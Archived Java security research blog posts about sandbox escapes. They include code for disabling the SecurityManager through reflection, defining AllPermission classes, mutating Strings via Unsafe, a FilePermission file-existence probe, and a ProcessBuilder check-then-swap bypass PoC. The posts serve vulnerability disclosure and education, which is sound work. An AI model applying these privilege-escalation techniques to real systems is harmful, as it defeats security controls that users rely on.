This part is titled "Keys". The intention is to list the key items that must remain elusive to the attacker in order for the JVM to remain unharmed. Compromising any of these will probably give the attacker full privileges. I'll also show, at least in theory, how each of them could be used for this.
The Security Manager
The Security Manager is at the very core of the Java Security Model. It essentially decides whether any given operation is allowed or not. While the JVM is running, the "current" or "installed" Security Manager is defined by the static java.lang.System.security field. The type of the field is java.lang.SecurityManager which is a concrete, non-final class, so the SecurityManager is either an instance of that class, or a subclass. A null value in the field is interpreted as security being turned off, thus: if that field can be set to null, security will be turned off.
The field is private, though, so one can’t just waltz in and try to set it to null.
There's a public static method for defining a new Security Manager:
System.setSecurityManager(SecurityManager)
If that method is called with a null parameter, the underlying field will be set to null and security will be turned off. In order for that call to succeed though, the current Security Manager is consulted to see if the caller has the setSecurityManager RunTime permission. Thus, possessing the setSecurityManager permission effectively gives code full privileges.
It would not be necessary to set a null SecurityManager to defy security. If the attacker can define his own SecurityManager and set it as the current SecurityManager, he can allow all operations and elevate his privileges. Aside from accessing the System class, a Security Manager class can be defined with the JVM startup argument
-Djava.security.manager=EvilUnsecureManager
Also, compromising the (class) definition of the SecurityManager class or that of any of its subclasses would probably give the attacker full control. More about compromising class definitions in a later item.
ClassLoader
The ClassLoader is responsible for loading class definitions. It also ultimately controls the privileges of each class that's being loaded. The ClassLoader.defineClass(...) methods have the access modifier protected, so only subclasses can access them. If you can create a valid subclass of the ClassLoader, you can call the protected methods and define classes with full privileges. This is essentially how CVE-2008-5353 leverages the privileged deserialization.
An example of how to define a new class with full privileges when you have access to the defineClass method:
byte[] evilBytecode = …
AllPermission allPerm = new AllPermission();
PermissionCollection allPermissions = allPerm.newPermissionCollection();
allPermissions.add(allPerm);
Class cls = defineClass(null, evilBytecode, 0,
evilBytecode.length, new ProtectionDomain(null, allPermissions));
cls.newInstance();
Java access modifiers
The Java access modifiers (private/protected/"default"/public) for classes, fields and methods are probably the one single most important thing keeping the whole security together. I've personally used protected and default very little in code I've written for any normal project. However, the security architecture heavily relies on them.
A lot of things are kept inaccessible for an attacker by marking methods, fields and classes with the default access modifier. It means that only the classes from the same package can access those items. Same package here refers to same package within the same classloader. Thus, it doesn't aid the attacker to define his applet class to be in the same package as some trusted Sun class, because the packages are classloader specific - if your class in package abc was defined in a different classloader than another class in package abc, it is effectively in a different package as far as access control goes.
If the attacker gained access to private members, it would be possible to set null to java.lang.System.security and disable Java security.
If the attacker gained access to protected members, it would be possible to call defineClass on the default applet ClassLoader and define classes with full privileges.
If the attacker gained access to default members, there'd be a lot of members in any number of classes that could be accessed to gain full privileges. There are almost 40 different versions of a package-private class SecuritySupport (or SecuritySupport12) that does privileged file reading, property access, URL access and so on.
Reflection may be used to circumvent some of the access control restrictions. More about reflection in its own item.
The final keyword
As I discussed in a previous post, "final" has very distinct functions when used in conjunction with classes, methods and fields.
If the final modifier of a class could be overridden, in other words, if the attacker managed to subclass a final class, he might subclass java.lang.String and create his own mutable Strings. More about String immutability in its own item.
Overriding final methods and modifying the value of final field could also possibly be abused, but I have no concrete examples of those cases.
Type system integrity
Yet another crucial part of the security architecture is the Java type system integrity. If the attacker can pass his own Foo class where a String class is expected he can probably create the effect of mutable Strings.
Or reversely, if the attacker is able to put a Java system class in a variable whose type is Bar (a user controlled class), he can probably gain access to private members.
Reflection
Java Reflection API gives dynamic access to classes, fields and methods. If one is able to call setAccessible(true) on Field and Method objects, Java access control can be somewhat bypassed. If you call setAccessible(true) on an otherwise inaccessible field or method (private/protected/default) you gain access to it. Example:
Field security = System.class.getDeclaredField("security");
security.setAccessible(true);
security.set(null, null);
However, many of the Reflection API calls require privileges and if a Security Manager is installed the attacker won't get far. To successfully run the above example, one would need to possess the accessDeclaredMembers and suppressAccessChecks privileges.
If the attacker succeeds in obtaining a Field object for java.lang.System.security and calling setAccessible(true) on it, he can turn off Java security by calling field.set(null, null).
Privileged Deserialization
Privileged Deserialization can be leveraged by the attacker in (possibly) many ways, probably the simplest being the creation of a custom Serializable ClassLoader which can then be used to define classes with full privileges. This was at the core of CVE-2008-5353.
A privileged block which does deserialization from a stream which can be manipulated by the attacker can probably be leveraged in other ways, too, since the serialization/deserialization protocol is quite complex and flexible.
SecurityManager protected packages (sun., com.sun.deploy., etc)
These packages have a more relaxed security. The security manager and applet ClassLoader do not allow applets to access these packages directly. If the attacker was able to access them, there'd probably be several ways to leverage it. It seems to me that currently it is not allowed to reference the following packages:
com.sun.deploy.*
com.sun.imageio.*
com.sun.javaws.*
com.sun.jnlp.*
com.sun.xml.internal.bind.*
com.sun.xml.internal.ws.*
sun.*
System Properties
The System Properties (System.getProperties()) contain a lot of influential stuff. If an attacker was able to manipulate the System Properties he could probably elevate his privileges.
System.getProperties(), despite of the name which suggest read access, returns a reference to the internal Properties object, so any modification to this object will alter the system properties.
Read access to the properties has the implication of privacy. The attacker can find out the logged on username and several system paths:
java.class.path = C:\PROGRAM~1\Java\jre6\classes
java.endorsed.dirs = C:\Program Files\Java\jre6\lib\endorsed
java.ext.dirs = C:\Program Files\Java\jre6\lib\ext;C:\WINDOWS\Sun\Java\lib\ext
java.home = C:\Program Files\Java\jre6
java.io.tmpdir = C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\
java.library.path = ...
sun.boot.library.path = C:\Program Files\Java\jre6\bin
user.dir = …
user.home = C:\Documents and Settings\Administrator
user.name = Administrator
There are known cases where for example being able to alter the java.ext.dirs lead to a vulnerability. I imagine this type of an attack only works if you can provide the property at JVM startup.
sun.misc.Unsafe
Unsafe is in a sun. package and therefore inaccessible to applets. It also has a private constructor, and the singleton getter method checks that the caller's classloader is null (system class) before handing out the object, so one could say it is very well guarded. And for a reason, since it truly is the Chuck Norris of Java classes.
Unsafe allows direct access to fields and memory. It allows, for example, for you to put an int value into an object field. No security checks and no access control takes place when using Unsafe. So it would be trivial to leverage Unsafe for privilege escalation. I’ll leave the how as a mental exercise for the reader.
Field usf = Unsafe.class.getDeclaredField("theUnsafe");
usf.setAccessible(true);
Unsafe unsafe = (Unsafe) usf.get(null);
Field stringChars = String.class.getDeclaredField("value");
long offset = unsafe.objectFieldOffset(stringChars);
String test = "test";
char[] value = (char[]) unsafe.getObject(test, offset);
value[2] = 'n';
System.out.println(test);
String immutability
String immutability is the basis for many operations. String objects contain a private char array that normally cannot be accessed. Should the attacker be able to access the char array and modify String objects, a lot of things could be broken, probably the security, too.
There is no defensive programming in the core classes against mutable Strings, and for a reason; it’d require a lot of code. A mutable String could thus be used in a timing attack, having a set of contents for verification and another set of contents for the actual operation. String instances are also pooled and reused, so the attacker could probably put his instance on the pool and have it be reused by code that’s inaccessible to him.
doPrivileged
If the attacker can control a trusted doPrivileged block, or code called by it, through means of controlling input, accessed fields, overriding methods, subclassing, deserialization and classloading, etc, the attacker may be able to elevate his privileges.
(Re)defining core classes
If the attacker can compromise the class definitions of not just the most obvious classes (System, ClassLoader, SecurityManager), but any number of menial classes that participate in privileged blocks of code, the attacker could easily elevate his privileges. I'm currently working on a twist of this type of an attack which should lead to a privilege escalation.
Key Permissions
Every class has a set of permissions associated with it. The permissions depend on where the code comes from (CodeSource) and what the java.security defines as the permissions for that source. There are several permissions that, if an attacker can obtain them for his code, will (probably) lead to privilege escalation:
AllPermission: The permission to do anything.
setSecurityManager: The permission to define a new security manager, set the security manager to null and all code has full permissions.
charsetProvider: Allows for creating mutable strings.
accessDeclaredMembers & suppressAccessChecks: With the combination of these two permissions, you can obtain any field or method, make it accessible and access it (call method, read/write field value). The most straightforward way to leverage this would be to set a null security manager.
Saturday, February 27, 2010
Sunday, January 24, 2010
2009 In Review
A little late, but nevertheless, a summary of what happened in security relating to me in 2009:
CVE-2008-5353
In other words, the Calendar Deserialization issue. It was fixed by Sun Microsystems in 2008, but it still got a lot of attention in 2009:
In March, Julien Tinnes used his exploit of it in the CanSecWest Pwn2own competition, only to be disqualified, because we both had tipped Sun and Apple about the issue.
In May, Julien wrote an excellent bit on the vulnerability on his blog and also about the fact that Apple still hasn't fixed it. Landon Fuller also posted a proof-of-concept implementation of the exploit in an attempt to get Apple's attention to it. All this created quite the buzz, and a lot of articles were written on the topic. My personal favorite was this funny arcticle by Angela Gunn on betanews.com.
In mid-June, Apple released a security update for it's Java that fixed the issue in OSX.
In July, it was nominated for The Best Client-Side Bug Pwnie (didn't unfortunately win, though).
Still at the end of the year, it gained attention because of various exploit kits using it as a vector to infect people who hadn't updated their Java.
JDKServices13
CVE-2009-2670 was fixed by Sun Microsystems in August, as a part of Java SE 6 Update 15. It's a cute little vulnerability which allows read access to Java System properties and one of the first one's ever found by me.
Zero Day Initiative
I started collaborating with ZDI in 2009 and it's been extremely satisfactory so far. Some of the fruits of this cooperation can be observed in the upcoming advisories section of their site:
ZDI-CAN-552, ZDI-CAN-603, ZDI-CAN-588, ZDI-CAN-623, ZDI-CAN-628, ZDI-CAN-667
iDefense
I was going to look into working with VeriSign's iDefense program as well, but the link for the zip with additional information on their new user page has been pointing to a 404 since at least september. I tried emailing them in mid-september, but finally gave up.
CVE-2008-5353
In other words, the Calendar Deserialization issue. It was fixed by Sun Microsystems in 2008, but it still got a lot of attention in 2009:
In March, Julien Tinnes used his exploit of it in the CanSecWest Pwn2own competition, only to be disqualified, because we both had tipped Sun and Apple about the issue.
In May, Julien wrote an excellent bit on the vulnerability on his blog and also about the fact that Apple still hasn't fixed it. Landon Fuller also posted a proof-of-concept implementation of the exploit in an attempt to get Apple's attention to it. All this created quite the buzz, and a lot of articles were written on the topic. My personal favorite was this funny arcticle by Angela Gunn on betanews.com.
In mid-June, Apple released a security update for it's Java that fixed the issue in OSX.
In July, it was nominated for The Best Client-Side Bug Pwnie (didn't unfortunately win, though).
Still at the end of the year, it gained attention because of various exploit kits using it as a vector to infect people who hadn't updated their Java.
JDKServices13
CVE-2009-2670 was fixed by Sun Microsystems in August, as a part of Java SE 6 Update 15. It's a cute little vulnerability which allows read access to Java System properties and one of the first one's ever found by me.
Zero Day Initiative
I started collaborating with ZDI in 2009 and it's been extremely satisfactory so far. Some of the fruits of this cooperation can be observed in the upcoming advisories section of their site:
ZDI-CAN-552, ZDI-CAN-603, ZDI-CAN-588, ZDI-CAN-623, ZDI-CAN-628, ZDI-CAN-667
iDefense
I was going to look into working with VeriSign's iDefense program as well, but the link for the zip with additional information on their new user page has been pointing to a 404 since at least september. I tried emailing them in mid-september, but finally gave up.
Saturday, January 23, 2010
Java "final" and security
To kickstart the new year and in an attempt to get more writing done I think I'll try writing some shorter bits. This one's about the Java "final" keyword - it's different nuances and how they relate to security.
Final has meanings that are so distinct that I sometimes wonder if it wouldn't have been clearer to use several different keywords. Here are the meanings of the keyword final:
Final classes
Classes with the modifier final cannot be subclassed. If the instances of the class have a state, that state can change, static fields, etc, everything may be mutable. The final here only prohibits subclassing.
Final methods
Methods with the modifier final cannot be overwritten/overridden by subclasses. The methods can be used by subclasses, their output may differ from call to call, they just cannot be redefined in the subclasses. The method may be overloaded, because overloaded methods (methods with the same name, but different signature) are completely different methods in the eyes of the compiler and the runtime.
Final fields
The value for fields with the modifier final can only be set once.
In the case of primitive type fields, this means that if the value was set to (int) 91, then the value will remain 91. The compiler may take advantage of this knowledge and inline the value where it is being referred.
In the case of objects, if the field is set to reference an object, it will always reference that same object. If the object is mutable, the perceived and logical value of the object may change, only it's identity is guaranteed not to change.
Final method variables
Since method variables aren't accessible outside the method, the final keyword here is only for use of the compiler.
Security and final
Here's how these nuances of the final keyword relate to security:
Classes
Final classes are very restrictive; since you can't subclass them you can't make them Serializable and you can't override their functionality. As far as I can tell, there is no way around it either, the rule is absolute: if it's final, you can't override it.
Methods
Final methods, like the classes are very restrictive. At the most, you may be able to override another method that the final method calls and use that to alter the method's functioning.
Fields
Final fields are not such an obvious case; while you cannot redefine their value there are some interesting details about them.
Their value isn't always the same. If you can obtain access to an object before it's initializer has defined the value of the final field, the field will have it's uninitialized value which will be 0, false or null for numeric types, boolean types and object types respectively. Then once the initializer sets the value it will change to the defined value. That's a very minor detail, but security is all about knowing all the right minor details.
As stated, the field will always reference the same object, but the real value of that object is free to change. If the object contains fields, etc that can be accessed and whose value can be altered then the value of the object itself can be changed.
Arrays are a special type of mutable objects -- the array elements of a final array field can change. The array object itself will stay the same, and it's size or number of dimensions cannot change, but the element values are very much mutable.
A multidimensional array object is actually an array of objects with one less dimensions. Thus in the case of a final multidimensional array object, only the outermost array is really final; the inner arrays may change identity and size.
sun.misc.Unsafe
The reflection API is bound by the final keyword and if you try changing the value of a final field via reflection, you will run into an IllegalAccessException.
There is, however, one omnipotent class in the sun.misc package, called Unsafe, which directly write into memory, put int values into object fields and it is also able to rewrite values into final fields. You use the fieldOffset methods to determine the offset of a given field, and then you use one of the putXXX methods to set the value. Unsafe can also access private fields.
Final has meanings that are so distinct that I sometimes wonder if it wouldn't have been clearer to use several different keywords. Here are the meanings of the keyword final:
Final classes
Classes with the modifier final cannot be subclassed. If the instances of the class have a state, that state can change, static fields, etc, everything may be mutable. The final here only prohibits subclassing.
Final methods
Methods with the modifier final cannot be overwritten/overridden by subclasses. The methods can be used by subclasses, their output may differ from call to call, they just cannot be redefined in the subclasses. The method may be overloaded, because overloaded methods (methods with the same name, but different signature) are completely different methods in the eyes of the compiler and the runtime.
Final fields
The value for fields with the modifier final can only be set once.
In the case of primitive type fields, this means that if the value was set to (int) 91, then the value will remain 91. The compiler may take advantage of this knowledge and inline the value where it is being referred.
In the case of objects, if the field is set to reference an object, it will always reference that same object. If the object is mutable, the perceived and logical value of the object may change, only it's identity is guaranteed not to change.
Final method variables
Since method variables aren't accessible outside the method, the final keyword here is only for use of the compiler.
Security and final
Here's how these nuances of the final keyword relate to security:
Classes
Final classes are very restrictive; since you can't subclass them you can't make them Serializable and you can't override their functionality. As far as I can tell, there is no way around it either, the rule is absolute: if it's final, you can't override it.
Methods
Final methods, like the classes are very restrictive. At the most, you may be able to override another method that the final method calls and use that to alter the method's functioning.
Fields
Final fields are not such an obvious case; while you cannot redefine their value there are some interesting details about them.
Their value isn't always the same. If you can obtain access to an object before it's initializer has defined the value of the final field, the field will have it's uninitialized value which will be 0, false or null for numeric types, boolean types and object types respectively. Then once the initializer sets the value it will change to the defined value. That's a very minor detail, but security is all about knowing all the right minor details.
As stated, the field will always reference the same object, but the real value of that object is free to change. If the object contains fields, etc that can be accessed and whose value can be altered then the value of the object itself can be changed.
Arrays are a special type of mutable objects -- the array elements of a final array field can change. The array object itself will stay the same, and it's size or number of dimensions cannot change, but the element values are very much mutable.
A multidimensional array object is actually an array of objects with one less dimensions. Thus in the case of a final multidimensional array object, only the outermost array is really final; the inner arrays may change identity and size.
sun.misc.Unsafe
The reflection API is bound by the final keyword and if you try changing the value of a final field via reflection, you will run into an IllegalAccessException.
There is, however, one omnipotent class in the sun.misc package, called Unsafe, which directly write into memory, put int values into object fields and it is also able to rewrite values into final fields. You use the fieldOffset methods to determine the offset of a given field, and then you use one of the putXXX methods to set the value. Unsafe can also access private fields.
Saturday, December 19, 2009
FilePermission class leaks sensitive information
Somebody might consider it ironic that the security class which is responsible mapping access permission to files (java.io.FilePermission) is actually leaking information about the filesystem.
FilePermission uses a doPrivileged block to obtain a canonical path to the file/folder given as a parameter to the constructor. The canonical path is then stored in a private and transient field (called cpath) which has no accessor method.
The canonical path is security-sensitive, because if you give it the input of "." it will become the full (canonical) path to the current execution directory.
Also, in windows, if I give it a path, such as "c:\windows" it becomes "C:\WINDOWS" on my machine, as both the drive letter and windows folder are uppercase. If I give it a path that does not exist, such as "C:\whatever" it does not get altered. Thus I can test the existence of files and folders.
The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is:
So the hashcode of the String of the canonical path is available. I looked into the possibility of reversing the string hash, but it's not really practical. The simple algorith (which is explained here) is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big.
File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes. If the hashcodes are equal, the file/folder exists, if they're unequal, it doesn't exist.
For example, on my machine, the following:
Yields the output:
true
false
In similar fashion, you could compare the hashes of FilePermissions for ".", "..", "../..", "../../.." until the hashcode stops changing, which means you've hit the root (Drive-Letter:\ on windows or / on linux/unix/etc). The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually.
It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files.
FilePermission uses a doPrivileged block to obtain a canonical path to the file/folder given as a parameter to the constructor. The canonical path is then stored in a private and transient field (called cpath) which has no accessor method.
The canonical path is security-sensitive, because if you give it the input of "." it will become the full (canonical) path to the current execution directory.
Also, in windows, if I give it a path, such as "c:\windows" it becomes "C:\WINDOWS" on my machine, as both the drive letter and windows folder are uppercase. If I give it a path that does not exist, such as "C:\whatever" it does not get altered. Thus I can test the existence of files and folders.
The cpath is not directly accessible, but the FilePermission class has a hashCode method, and the implementation is:
384 public int hashCode() {
385 return this.cpath.hashCode();
386 }
So the hashcode of the String of the canonical path is available. I looked into the possibility of reversing the string hash, but it's not really practical. The simple algorith (which is explained here) is easy to reverse, but as it's extremely lossy, the number of strings that have any given hash is very big.
File or folder existence on Windows can be easily tested by giving a toLowerCase and toUpperCase versions of any path to FilePermission and then comparing the hashcodes. If the hashcodes are equal, the file/folder exists, if they're unequal, it doesn't exist.
For example, on my machine, the following:
001 import java.io.FilePermission;
002
003 public class FP {
004 public static void main(String[] args) throws Exception {
005 System.out.println(fileExists("C:/windows"));
006 System.out.println(fileExists("C:/filedoesnotexist"));
007 }
008
009 static boolean fileExists(String name) {
010 return new FilePermission(name.toLowerCase(), "read").hashCode() == new FilePermission(name.toUpperCase(), "read").hashCode();
011 }
012 }
Yields the output:
true
false
In similar fashion, you could compare the hashes of FilePermissions for ".", "..", "../..", "../../.." until the hashcode stops changing, which means you've hit the root (Drive-Letter:\ on windows or / on linux/unix/etc). The depth of the execution folder can thus be determined and it is possible to try to guess each of the folders of the path individually.
It's not a very serious problem at all, but it's one I found to be amusing both for the simplicity of it and the fact that it's in the very class that is used to map access to files.
Saturday, December 12, 2009
Defensive Copying - How not to do it
Defensive Copying
Sun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation.
Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.
ProcessBuilder
java.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the start method to execute the process.
The start method is defined as follows:
(EDIT: Fixed syntax highlighter glitch from line 449)
The interesting bit is this:
436 // Must convert to array first -- a malicious user-supplied
437 // list might try to circumvent the security check.
438 String[] cmdarray = command.toArray(new String[command.size()]);
At first glance it might seem like the work of a security conscious programmer.
But quoting fictional Bob, from my previous post on immutability:
Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.
And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the directory field.
So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".
Example
Let's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):
To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:
-Djava.security.manager -Djava.security.policy=notepad.policy
In order to test it, try executing calc.exe:
If the security manager and our policy have been successfully configured that should result in:
Executing notepad.exe should work ok:
And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.
Finally
This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.
Sun Secure Coding Guidelines talks about defensive copying of input and output, to protect against modifications that occur after validation.
Let's look at one Sun implementation (from the java.lang package, no less) as an example of how not to do it.
ProcessBuilder
java.lang.ProcessBuilder, as the javadoc puts it, "is used to create operating system processes". You give it a process name, parameters, environment variables and call the start method to execute the process.
The start method is defined as follows:
(EDIT: Fixed syntax highlighter glitch from line 449)
435 public Process start() throws IOException {
436 // Must convert to array first -- a malicious user-supplied
437 // list might try to circumvent the security check.
438 String[] cmdarray = command.toArray(new String[command.size()]);
439 for (String arg : cmdarray)
440 if (arg == null)
441 throw new NullPointerException();
442 // Throws IndexOutOfBoundsException if command is empty
443 String prog = cmdarray[0];
444
445 SecurityManager security = System.getSecurityManager();
446 if (security != null)
447 security.checkExec(prog);
448
449 String dir = directory == null ? null : directory.toString();
450
451 try {
452 return ProcessImpl.start(cmdarray,
453 environment,
454 dir,
455 redirectErrorStream);
456 } catch (IOException e) {
457 // It's much easier for us to create a high-quality error
458 // message than the low-level C code which found the problem.
459 throw new IOException(
460 "Cannot run program \"" + prog + "\""
461 + (dir == null
462 + ": " + e.getMessage(),
463 e);
464 }
465 }
The interesting bit is this:
436 // Must convert to array first -- a malicious user-supplied
437 // list might try to circumvent the security check.
438 String[] cmdarray = command.toArray(new String[command.size()]);
At first glance it might seem like the work of a security conscious programmer.
But quoting fictional Bob, from my previous post on immutability:
Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.
And that's exactly the case here, too. One doesn't even need to get into a tricky situation where a secondary thread keeps modifying the contents of the array; you can simply take advantage of the fact that between the validation on the array and the actual use of the array there's a call to another user supplied object, a File object in the directory field.
So you could initially pass a "safe.exe" as the program, pass the validation of ProcessBuilder.start, and when the code calls File.toString on the File object that's under your control, you set the first index of the String array as "evil.exe".
Example
Let's create a fictional situation, where the security policy allows the execution of C:/windows/system32/notepad.exe and disallows the execution of any other executable. We achieve this by creating a policy file as follows (name it notepad.policy for example):
grant {
permission java.io.FilePermission "C:/windows/system32/notepad.exe", "execute";
};
To enable a security manager for a standalone Java application and to use this policy we just created, always execute java with the following JVM options:
-Djava.security.manager -Djava.security.policy=notepad.policy
In order to test it, try executing calc.exe:
001
002
003 public class PBCalc {
004 public static void main(String[] args) throws Exception {
005 ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/calc.exe");
006 pb.start();
007 }
008 }
If the security manager and our policy have been successfully configured that should result in:
Exception in thread "main" java.security.AccessControlException: access denied (java.io.FilePermission C:/windows/system32/calc.exe execute)
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)
at java.security.AccessController.checkPermission(AccessController.java:546)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
at java.lang.SecurityManager.checkExec(SecurityManager.java:779)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:447)
at PBCalc.main(PBCalc.java:6)
Executing notepad.exe should work ok:
001
002
003 public class PBNotepad {
004 public static void main(String[] args) throws Exception {
005 ProcessBuilder pb = new ProcessBuilder("C:/windows/system32/notepad.exe");
006 pb.start();
007 }
008 }
And finally, an example of the exploitation of the naive defensive copying. We create a List object whose toArray method returns a reference to a String array while keeping a handle to said String array. Initially the String array has notepad.exe as the executed process, but once we pass the validation and ProcessBuilder calls toString of our (anonymous subclass of) File object toString method, we switch the executable as calc.exe.
001 import java.io.File;
002 import java.util.ArrayList;
003 import java.util.List;
004
005 public class PBMutable {
006 public static void main(String[] args) throws Exception {
007 final String[] str = {"C:/windows/system32/notepad.exe"};
008 List list = new ArrayList() {
009 public Object[] toArray(Object[] a) {
010 return str;
011 }
012 };
013
014 ProcessBuilder pb = new ProcessBuilder(list);
015 pb.directory(new File(".") {
016 public String toString() {
017 str[0] = "calc.exe";
018 return super.toString();
019 }
020 });
021
022 pb.start();
023 }
024 }
Finally
This isn't really usable in the applet sandbox world, as unsigned applets by default don't have any execution rights, but you should be aware that because of the naive defensive copying, granting any file execute permission you'll be granting the permission to execute anything at all.
Tuesday, November 03, 2009
Protection Against Finalizer attack
Java 6 update 17 is out.
Looks like Sun 1up'd the ClassLoader class's protection against the Finalizer Attack.
For more information on the finalizer attack: Sun Secure Coding Guidelines v2.0 Chapter 4-2
The old ClassLoader implementation used the tactic described in the secure coding guidelines. It allows the attacker to create an instance of the class, which is not fully initialized. However a boolean flag field renders the object unusable, as all significant operations check the flag.
Apparently that's not good enough anymore.
The new version of the ClassLoader has a protect constructor (actually 2, but let's look at the one that corresponds to the one in the secure coding guidelines):
225 protected ClassLoader() {
226 this(checkCreateClassLoader(), getSystemClassLoader());
227 }
Which calls the static method checkCreateClassLoader:
175 private static Void checkCreateClassLoader() {
176 SecurityManager security = System.getSecurityManager();
177 if(security != null) {
178 security.checkCreateClassLoader();
179 }
180 return null;
181 }
So if the SecurityManager doesn't allow a SecurityException gets thrown even before the superclass (Object) constructor is called, and thus there will be no object reference to "steal" in the finalizer.
Interesting. Wonder if they'll update the Secure Coding Guidelines as well.
Looks like Sun 1up'd the ClassLoader class's protection against the Finalizer Attack.
For more information on the finalizer attack: Sun Secure Coding Guidelines v2.0 Chapter 4-2
The old ClassLoader implementation used the tactic described in the secure coding guidelines. It allows the attacker to create an instance of the class, which is not fully initialized. However a boolean flag field renders the object unusable, as all significant operations check the flag.
Apparently that's not good enough anymore.
The new version of the ClassLoader has a protect constructor (actually 2, but let's look at the one that corresponds to the one in the secure coding guidelines):
225 protected ClassLoader() {
226 this(checkCreateClassLoader(), getSystemClassLoader());
227 }
Which calls the static method checkCreateClassLoader:
175 private static Void checkCreateClassLoader() {
176 SecurityManager security = System.getSecurityManager();
177 if(security != null) {
178 security.checkCreateClassLoader();
179 }
180 return null;
181 }
So if the SecurityManager doesn't allow a SecurityException gets thrown even before the superclass (Object) constructor is called, and thus there will be no object reference to "steal" in the finalizer.
Interesting. Wonder if they'll update the Secure Coding Guidelines as well.
Tuesday, October 13, 2009
com.sun.corba.se.impl.orbutil.ObjectUtility
Back to security.
Sun's strategy of prioritizing backwards compatibility is something I always appreciated as a developer. Less headaches. Yet, from a security perspective the ensuing "bloatedness" is rather challenging: The attack surface keeps on growing all the time.
So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries.
On the other hand, it's the problems you find in the public java.util, java.io, etc classes that make you really appreciate how very difficult it is to build something secure.
But let's look at one of the aforementioned, obscure CORBA classes today :)
com.sun.corba.se.impl.orbutil.ObjectUtility
It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way. Of course it could be just my lack of ingenuity.
ObjectUtility has two basic functionalities:
-Offer toString functionality to classes that don't implement toString. It recursively lists all the instance field names and their values using reflection and formats the output neatly. I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents. When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields (less useful).
-Offer equals functionality to classes that don't implement an equals method. It recursively compares all the instance fields of two objects following somewhat complicated rules.
Let's look at the equals functionality a little bit closer. The logic goes something like this: You give it two objects and it returns true or false depending on perceived equality, with the following details.
-in the case of object fields, recursion is used to compare the two values
-static fields are ignored
-Maps, Sets, Lists and arrays have special handling, where the Collection/array contents are compared individually
-objects x and y of the exact same class (ie. x.getClass() == y.getClass() ) are compared by comparing all the non-static fields individually
-doPrivileged is used to allow access to private fields even with a security manager enabled
-objects x and y of different classes (for example, Object instance and a String instance) are compared by calling equals of the first object, ie. x.equals(y)
Pause for a moment. Absorb the logic. Do you see a problem?
...
This implementation leaks private information. If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object.
Here's a semi-concrete example. Let's preface it a bit: If you've ever written a Java applet, you'll have noticed that when you use System.out to print some debug information, the output goes to the Java console. How does this happen? The type of System.out is PrintStream. The applet environment sets the System.out as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console.
PrintStream has no method for accessing the inherited (from superclass FilterOutputStream) "out" field, but we can create a new PrintStream and put our own OutputStream inside it. Then compare our PrintStream to System.out. Like this:
So we can get our hands on the TracePrintStream object contained within the PrintStream. I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet. So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing. I guess this turned out to be a rather theoretical example anyway.
Other examples that I've tried this on with success: The Collections class has utility methods which return immutable versions of Lists, Maps and Sets. The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions. But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it. However I couldn't find anything in the core Java where the security depended on the immutability of these collections.
Sun's strategy of prioritizing backwards compatibility is something I always appreciated as a developer. Less headaches. Yet, from a security perspective the ensuing "bloatedness" is rather challenging: The attack surface keeps on growing all the time.
So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries.
On the other hand, it's the problems you find in the public java.util, java.io, etc classes that make you really appreciate how very difficult it is to build something secure.
But let's look at one of the aforementioned, obscure CORBA classes today :)
com.sun.corba.se.impl.orbutil.ObjectUtility
It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way. Of course it could be just my lack of ingenuity.
ObjectUtility has two basic functionalities:
-Offer toString functionality to classes that don't implement toString. It recursively lists all the instance field names and their values using reflection and formats the output neatly. I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents. When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields (less useful).
-Offer equals functionality to classes that don't implement an equals method. It recursively compares all the instance fields of two objects following somewhat complicated rules.
Let's look at the equals functionality a little bit closer. The logic goes something like this: You give it two objects and it returns true or false depending on perceived equality, with the following details.
-in the case of object fields, recursion is used to compare the two values
-static fields are ignored
